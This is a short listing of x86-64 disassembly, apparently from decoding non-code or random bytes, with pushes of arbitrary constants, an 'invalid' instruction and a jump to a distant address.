and byte ss:[rax], ah
and cl, ah
enter 0x1122, 0x31
push 0x2024e1a1
and byte [rax], ah
push 0xffffffffa52fe8df
invalid
and byte [rax], ah
and byte [rdx + 0x77], bh
push 0x1168f7a9
jmp 0xe5d3c08e